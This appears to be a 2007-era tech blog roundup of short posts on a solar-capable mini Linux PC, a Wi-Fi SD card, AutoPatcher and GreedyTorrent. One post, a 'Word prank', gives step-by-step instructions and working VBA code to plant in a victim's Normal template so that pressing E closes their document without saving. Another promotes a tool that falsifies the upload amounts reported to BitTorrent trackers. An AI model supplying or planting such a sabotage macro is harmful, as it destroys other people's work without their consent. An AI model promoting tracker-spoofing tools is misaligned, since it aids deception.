Tiny Linux PC uses just 8 watts of power, can be solar powered - The Aleutia E1

Check out the Aleutia E1 mini Linux PC.

This mini PC uses just 8 watts of power which is a quarter of the power used by the average laptop.

It comes in a tough aluminium case and has no moving parts, it is also completely silent, and comes with everything you need including office compatible software, it runs Puppy Linux.

You can also add on an optional solar panel to power the device and an optional 10.4 inch LCD screen which uses just 10 watts of power.

Updated 30/11/07

Here’s the specs for the people that asked.

• Processor: 200MHz x86 CPU, Memory: 128MB SDRAM, Storage: 2GB (included Compact Flash card), Power Supply (US, UK, or EU).
• 3 x USB 2.0 ports (12Mbps transfer rate), 1 x 10/100 Ethernet port, VGA port to connect LCD display (supports resolutions up to 1280×1024).
• Power consumption of 8W with CPU and SDRAM running at full speed. With external devices (USB 2.0 CD Rewriter, USB-powered hard drive) power consumption rises to 11W.
• Dimensions: 11.5cm (Width) x 11.5cm (Lenght) x 3.5cm (Height).
• Puppy Linux Operating System (version 2.14) - similar in appearance to MS Windows, stable, and pre-installed.
• Excel-compatible spreadsheet software (Gnumeric), Word-compatible word processor (Abiword)

The Aleutia E1 is available to buy online form Aleutia from £199 (about $400).

Eye-Fi Wireless SD Card

First your phone went wireless, then your laptop, now finally, your camera!

Never scrounge around for a USB cable again! Eye-fi is a magical orange SD memory card that will not only store 2GB worth of pictures, it’ll upload them to your computer, and to Flickr, Facebook, Picasa (or 14 others) wirelessly, invisibly, automatically!

This little guy looks like a normal 2GB memory card and works with nearly any camera that takes SD memory. There are no antennas, no protrusions, no subscription fees, and no cables.

Here’s how it works: You set up the card once with the included USB card reader (tell it which wireless network it should use, and type in the password if you have one), choose the photo sharing service of your choice (you have plenty of options), then slip the card in your camera. From then on, you never have to touch anything. Just take photos. Whenever your cameras near the wireless network you selected and idle, Eye-fi will upload all your photos (JPEGs only) to your online photo sharing service. Next time your computer’s online, they’ll download there, too!

Yes, it is practically magic.

It’s amazing for anyone who loves photography, but also great for computer unsavvy parents and grandparents. Set up their photo sharing account, slip an Eye-fi in their camera, and your mom’s finally your Flickr friend!

Microsoft Word Prank

What is the most common letter in the English language? E right? Well what would you do if every time you typed “E” in microsoft word it closed your word document and didnt save any of your work. Well you might throw your computer out the window and kill who ever did it to you. So hell lets do it right?

Step 1: Open up Micro Soft Word

Step2: Press alt F11, this will open up a vba editor for word.

Step3: In project window on the left there should be a title “Normal” this is your default template. Select the default document underneath it.

Step4: Copy and past this code into the document (Remember to re type all quotations)

Sub AddKeyBinding()
CustomizationContext = NormalTemplate
KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyE), KeyCategory:=wdKeyCategoryCommand, _
Command:=”TestKeybinding”
End Sub

Sub TestKeybinding()
Dim x As Document
Set x = ActiveDocument
x.Close (False)
End Sub

Step5: Close word

Step6: Enjoy

If you did this correctly the next time they load word this code will be called and loaded. What it will do is every time the key “E” is pressed is it will close the document and NOT SAVE. You can change the key to anything you like and below I have listed some different key options. Have fun and unleash hell.

Key Options

To change the key from E to something else replace this piece of the code in bold

.KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyE)

If you want to use a different letter it is: wdKeyYOURLETTER

If you want to use a key other than a letter or a number, it usualy is the keys name.
Example: wdKeyBackspace

AutoPatcher is Back Again!

AutoPatcher was once a utility for downloading and installing Windows Updates without having to connect with Microsoft’s Update Servers. Users could also burn the updates on a CD and install it on multiple PCs, without having to download the updates over and over again. Unfortunately, Microsoft exterminated the project saying that users can only download updates from Windows Update Server.

The AutoPatcher Team has now made a comeback by releasing an early beta of a new utility called AutoPatcher Updater. This new beta gets around Microsoft’s restrictions by downloading updates for Windows and Microsoft Office directly from Windows Update Server instead of their own. Once the updates have been downloaded, you can install them by running AutoPatcher.exe. However, the new beta is a bit handicapped - you cannot make the updates portable by burning them on a CD, which makes it pretty much like the built in Windows Update.

GreedyTorrent!

GreedyTorrent can help you survive on trackers that enforce a minimum 1:1 trading ratio, and can keep you from getting banned for not uploading. So how does it work? In simple words, it modifies the conversation between your bittorrent client and the tracker, suppressing the actual upload amount. Instead, GreedyTorrent puts you in control of your own upload ratio -- you can define how much upload you want to submit to the tracker.

GreedyTorrent has the following features:

• GreedyTorrent is set-once-and-forget type software. No need of configuring it each time you queue a torrent file to download.
• No complicated options to configure. The default installation of GreedyTorrent is configured to provide you five times actual upload, enough for the survival of a normal ADSL user. There is no need to manually find the hash values or to set tracker URLs, it takes care of them automatically. GreedyTorrent was developed with the beginner user in mind, with an easy to use interface.
• GreedyTorrent generates no additional traffic. It does not run or emulate an "extra torrent client", and thus does not waste your precious bandwidth.
• You can continue to use your favorite BitTorrent client, no need to switch to another BitTorrent client to use GreedyTorrent.